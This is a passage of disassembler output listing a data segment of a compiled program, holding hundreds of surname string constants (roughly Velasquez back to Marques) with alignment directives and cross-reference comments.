'Velasquez',0 ; DATA XREF: ___:0042E770o align 4 aWeissman db 'Weissman',0 align 10h aWeissbourd db 'Weissbourd',0 align 4 aWeinhaus db 'Weinhaus',0 align 4 aWeingarten db 'Weingarten',0 align 4 aWeighart db 'Weighart',0 align 10h aWaugh db 'Waugh',0 align 4 aVasquez db 'Vasquez',0 aWasowska db 'Wasowska',0 align 4 aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042E74Co align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042E748o align 4 aVandenberg db 'Vandenberg',0 align 4 aVanzwet db 'VanZwet',0 aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042E73Co align 4 aWalter db 'Walter',0 ; DATA XREF: ___:0042E738o align 10h aWallenberg db 'Wallenberg',0 align 4 aWales db 'Wales',0 align 4 aValencia db 'Valencia',0 align 10h aValberg db 'Valberg',0 aWaite db 'Waite',0 align 10h aVacca db 'Vacca',0 ; DATA XREF: ___:0042E720o align 4 aUzuner db 'Uzuner',0 align 10h aUsdan db 'Usdan',0 ; DATA XREF: ___:0042E718o align 4 aUrdangBrown db 'Urdang-Brown',0 align 4 aUrban db 'Urban',0 align 10h aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042E70Co aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042E708o align 4 aUllman db 'Ullman',0 ; DATA XREF: ___:0042E704o align 4 aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042E700o align 4 aTwells db 'Twells',0 align 10h aTuttle db 'Tuttle',0 align 4 aTurek db 'Turek',0 align 10h aTurano db 'Turano',0 align 4 aTukan db 'Tukan',0 align 10h aTudge db 'Tudge',0 align 4 aTuck db 'Tuck',0 align 10h aTsukurov db 'Tsukurov',0 align 4 aTsomides db 'Tsomides',0 align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042E6D8o aTruss db 'Truss',0 ; DATA XREF: ___:0042E6D4o align 4 aTroy db 'Troy',0 align 10h aTroiani db 'Troiani',0 ; DATA XREF: ___:0042E6CCo aTringali db 'Tringali',0 ; DATA XREF: ___:0042E6C8o align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042E6C4o align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0042E6C0o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042E6BCo align 10h aToye db 'Toye',0 ; DATA XREF: ___:0042E6B8o align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042E6B4o align 10h aTorske db 'Torske',0 ; DATA XREF: ___:0042E6B0o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042E6ACo aTopulos db 'Topulos',0 ; DATA XREF: ___:0042E6A8o aToomer db 'Toomer',0 ; DATA XREF: ___:0042E6A4o align 10h aTomford db 'Tomford',0 ; DATA XREF: ___:0042E6A0o aTolman db 'Tolman',0 ; DATA XREF: ___:0042E69Co align 10h aTolls db 'Tolls',0 ; DATA XREF: ___:0042E698o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042E694o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042E690o align 10h aTimmons db 'Timmons',0 ; DATA XREF: ___:0042E68Co aTill db 'Till',0 ; DATA XREF: ___:0042E688o align 10h aTierney db 'Tierney',0 ; DATA XREF: ___:0042E684o aThroop db 'Throop',0 ; DATA XREF: ___:0042E680o align 10h aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E67Co aThisted db 'Thisted',0 ; DATA XREF: ___:0042E678o aThibault db 'Thibault',0 ; DATA XREF: ___:0042E674o align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E670o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E66Co align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E668o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E664o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E660o align 10h aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E65Co align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E658o align 10h aTeague db 'Teague',0 ; DATA XREF: ___:0042E654o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E650o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E64Co align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E648o aTatar db 'Tatar',0 ; DATA XREF: ___:0042E644o align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E640o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E63Co aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E638o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E634o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E630o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E62Co aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E628o aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E624o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E620o align 10h aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E61Co align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E618o aSumner db 'Sumner',0 ; DATA XREF: ___:0042E614o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E610o align 10h aStringer db 'Stringer',0 ; DATA XREF: ___:0042E60Co align 4 aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E608o aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E604o aStrange db 'Strange',0 ; DATA XREF: ___:0042E600o aStott db 'Stott',0 ; DATA XREF: ___:0042E5FCo align 4 aStorer db 'Storer',0 ; DATA XREF: ___:0042E5F8o align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E5F4o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E5F0o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E5ECo align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E5E8o align 10h aStock db 'Stock',0 ; DATA XREF: ___:0042E5E4o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E5E0o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E5DCo align 10h aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E5D8o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E5D4o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E5D0o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E5CCo aStefani db 'Stefani',0 ; DATA XREF: ___:0042E5C8o aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E5C4o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E5C0o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E5BCo align 4 aStang db 'Stang',0 ; DATA XREF: ___:0042E5B8o align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E5B4o align 4 aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E5B0o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E5ACo align 10h aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E5A8o aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E5A4o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E5A0o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E59Co align 4 aSperber db 'Sperber',0 ; DATA XREF: ___:0042E598o aSpence db 'Spence',0 ; DATA XREF: ___:0042E594o align 4 aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E590o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E58Co align 10h aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E588o aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E584o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E580o align 4 aSoule db 'Soule',0 ; DATA XREF: ___:0042E57Co align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E578o align 4 aSottak db 'Sottak',0 ; DATA XREF: ___:0042E574o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E570o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E56Co align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E568o align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E564o align 4 aSolon db 'Solon',0 ; DATA XREF: ___:0042E560o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E55Co aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E558o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E554o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E550o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E54Co align 10h aSloan db 'Sloan',0 ; DATA XREF: ___:0042E548o align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E544o align 10h aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E540o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E53Co align 10h aSites db 'Sites',0 ; DATA XREF: ___:0042E538o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E534o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E530o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E52Co align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E528o align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E524o align 4 aSigini db 'Sigini',0 ; DATA XREF: ___:0042E520o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E51Co aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E518o align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E514o align 4 aShibata db 'Shibata',0 ; DATA XREF: ___:0042E510o aShia db 'Shia',0 ; DATA XREF: ___:0042E50Co align 4 aShesko db 'Shesko',0 ; DATA XREF: ___:0042E508o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E504o align 10h aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E500o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E4FCo align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E4F8o align 10h aShea db 'Shea',0 ; DATA XREF: ___:0042E4F4o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E4F0o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E4ECo aShar db 'Shar',0 ; DATA XREF: ___:0042E4E8o align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E4E4o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E4E0o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E4DCo align 10h aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E4D8o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E4D4o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E4D0o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E4CCo align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E4C8o aSen db 'Sen',0 ; DATA XREF: ___:0042E4C4o aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E4C0o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E4BCo align 10h aSegal db 'Segal',0 ; DATA XREF: ___:0042E4B8o align 4 aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E4B4o align 10h aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E4B0o align 4 aScudder db 'Scudder',0 ; DATA XREF: ___:0042E4ACo aScovel db 'Scovel',0 ; DATA XREF: ___:0042E4A8o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E4A4o aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E4A0o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E49Co align 4 aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E498o aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E494o aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E490o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E48Co aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E488o align 4 aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E484o align 4 aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E480o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E47Co align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E478o aScharf db 'Scharf',0 ; DATA XREF: ___:0042E474o align 10h aScepan db 'Scepan',0 ; DATA XREF: ___:0042E470o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E46Co align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E468o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E464o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E460o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E45Co align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0042E458o align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E454o align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0042E450o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E44Co align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0042E448o align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E444o align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E440o aSamson db 'Samson',0 ; DATA XREF: ___:0042E43Co align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E438o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0042E434o align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E430o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0042E42Co align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E428o align 10h aRyu db 'Ryu',0 ; DATA XREF: ___:0042E424o aRush db 'Rush',0 ; DATA XREF: ___:0042E420o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E41Co align 4 aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E418o align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E414o align 4 aRu db 'Ru',0 ; DATA XREF: ___:0042E410o align 10h aRoyal db 'Royal',0 ; DATA XREF: ___:0042E40Co align 4 aRow db 'Row',0 ; DATA XREF: ___:0042E408o aRonen db 'Ronen',0 ; DATA XREF: ___:0042E404o align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E400o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E3FCo aRocha db 'Rocha',0 ; DATA XREF: ___:0042E3F8o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E3F4o align 4 aRivera db 'Rivera',0 ; DATA XREF: ___:0042E3F0o align 10h aRish db 'Rish',0 ; DATA XREF: ___:0042E3ECo align 4 aRineer db 'Rineer',0 ; DATA XREF: ___:0042E3E8o align 10h aRindos db 'Rindos',0 ; DATA XREF: ___:0042E3E4o align 4 aRielly db 'Rielly',0 ; DATA XREF: ___:0042E3E0o align 10h aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E3DCo align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0042E3D8o align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E3D4o align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E3D0o aRenick db 'Renick',0 ; DATA XREF: ___:0042E3CCo align 4 aRemak db 'Remak',0 ; DATA XREF: ___:0042E3C8o align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E3C4o aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E3C0o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E3BCo align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E3B8o align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E3B4o aRapple db 'Rapple',0 ; DATA XREF: ___:0042E3B0o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E3ACo align 4 aRangan db 'Rangan',0 ; DATA XREF: ___:0042E3A8o align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E3A4o align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E3A0o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E39Co align 10h aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E398o align 4 aRabe db 'Rabe',0 ; DATA XREF: ___:0042E394o align 10h aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E390o align 4 aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E38Co align 10h aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E388o aPugh db 'Pugh',0 ; DATA XREF: ___:0042E384o align 10h aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E380o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E37Co align 4 aProietti db 'Proietti',0 ; DATA XREF: ___:0042E378o align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E374o align 4 aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E370o align 4 aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E36Co aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E368o aPresper db 'Presper',0 ; DATA XREF: ___:0042E364o aPowers db 'Powers',0 ; DATA XREF: ___:0042E360o align 4 aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E35Co aPoma db 'Poma',0 ; DATA XREF: ___:0042E358o align 4 aPolitis db 'Politis',0 ; DATA XREF: ___:0042E354o aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E350o aPolak db 'Polak',0 ; DATA XREF: ___:0042E34Co align 10h aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E348o aPointer db 'Pointer',0 ; DATA XREF: ___:0042E344o aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E340o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E33Co align 4 aPo db 'Po',0 ; DATA XREF: ___:0042E338o align 4 aPlous db 'Plous',0 ; DATA XREF: ___:0042E334o align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E330o aPlant db 'Plant',0 ; DATA XREF: ___:0042E32Co align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E328o aPinot db 'Pinot',0 ; DATA XREF: ___:0042E324o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E320o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E31Co aPettit db 'Pettit',0 ; DATA XREF: ___:0042E318o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E314o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E310o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E30Co align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E308o align 4 aPerone db 'Perone',0 ; DATA XREF: ___:0042E304o align 10h aPerna db 'Perna',0 ; DATA XREF: ___:0042E300o align 4 aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E2FCo aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E2F8o align 4 aPerko db 'Perko',0 ; DATA XREF: ___:0042E2F4o align 10h aPereira db 'Pereira',0 ; DATA XREF: ___:0042E2F0o aPenny db 'Penny',0 ; DATA XREF: ___:0042E2ECo align 10h aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E2E8o aPederson db 'Pederson',0 ; DATA XREF: ___:0042E2E4o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E2E0o align 10h aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E2DCo aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E2D8o aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E2D4o align 4 aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E2D0o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E2CCo aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E2C8o align 4 aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E2C4o aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E2C0o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E2BCo align 4 aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E2B8o align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E2B4o align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E2B0o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E2ACo align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E2A8o align 10h aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E2A4o align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E2A0o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E29Co align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E298o aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E294o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E290o align 10h aPaine db 'Paine',0 ; DATA XREF: ___:0042E28Co align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E288o align 4 aOvid db 'Ovid',0 ; DATA XREF: ___:0042E284o align 10h aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E280o aOtten db 'Otten',0 ; DATA XREF: ___:0042E27Co align 10h aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E278o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E274o align 4 aOspina db 'Ospina',0 ; DATA XREF: ___:0042E270o align 10h aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E26Co align 4 aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E268o aOray db 'Oray',0 ; DATA XREF: ___:0042E264o align 4 aOpel db 'Opel',0 ; DATA XREF: ___:0042E260o align 10h aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E25Co aOman db 'Oman',0 ; DATA XREF: ___:0042E258o align 10h aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E254o align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E250o align 4 aOlson db 'Olson',0 ; DATA XREF: ___:0042E24Co align 10h aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E248o align 4 aOldford db 'Oldford',0 ; DATA XREF: ___:0042E244o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E240o aOh db 'Oh',0 ; DATA XREF: ___:0042E23Co align 4 aOgata db 'Ogata',0 ; DATA XREF: ___:0042E238o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E234o aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E230o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E22Co align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E228o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E224o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E220o align 10h aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E21Co align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E218o align 10h aNg db 'Ng',0 ; DATA XREF: ___:0042E214o align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E210o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E20Co aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E208o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0042E204o align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E200o align 4 aNelson db 'Nelson',0 ; DATA XREF: ___:0042E1FCo align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E1F8o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E1F4o aNardone db 'Nardone',0 ; DATA XREF: ___:0042E1F0o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E1ECo align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E1E8o align 10h aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E1E4o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E1E0o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E1DCo aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E1D8o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E1D4o aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E1D0o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E1CCo align 4 aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E1C8o aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E1C4o aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E1C0o align 4 aMosler db 'Mosler',0 ; DATA XREF: ___:0042E1BCo align 10h aMosher db 'Mosher',0 ; DATA XREF: ___:0042E1B8o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E1B4o align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E1B0o align 4 aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E1ACo align 4 aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E1A8o aMorani db 'Morani',0 ; DATA XREF: ___:0042E1A4o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0042E1A0o align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:0042E19Co align 10h aMonque db 'Monque',0 ; DATA XREF: ___:0042E198o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E194o align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E190o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E18Co aModestino db 'Modestino',0 ; DATA XREF: ___:0042E188o align 10h aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E184o aMittal db 'Mittal',0 ; DATA XREF: ___:0042E180o align 10h aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E17Co aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E178o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E174o aMini db 'Mini',0 ; DATA XREF: ___:0042E170o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0042E16Co align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E168o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0042E164o align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E160o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E15Co align 4 aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E158o align 10h aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E154o align 4 aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E150o aMerz db 'Merz',0 ; DATA XREF: ___:0042E14Co align 4 aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E148o aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E144o align 10h aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E140o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E13Co align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E138o aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E134o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E130o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E12Co aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E128o aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E124o aMclane db 'Mclane',0 ; DATA XREF: ___:0042E120o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E11Co aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E118o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E114o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E110o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E10Co align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E108o align 10h aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E104o aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E100o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E0FCo align 10h aMccall db 'Mccall',0 ; DATA XREF: ___:0042E0F8o align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E0F4o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E0F0o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E0ECo align 4 aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E0E8o aMay db 'May',0 ; DATA XREF: ___:0042E0E4o aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E0E0o align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0042E0DCo aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E0D8o align 10h aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E0D4o align 4 aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E0D0o aMass db 'Mass',0 ; DATA XREF: ___:0042E0CCo align 4 aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E0C8o align 4 aMarton db 'Marton',0 ; DATA XREF: ___:0042E0C4o align 10h aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E0C0o align 4 aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E0BCo align 4 aMarques db 'Marques',0 ; DATA XREF: 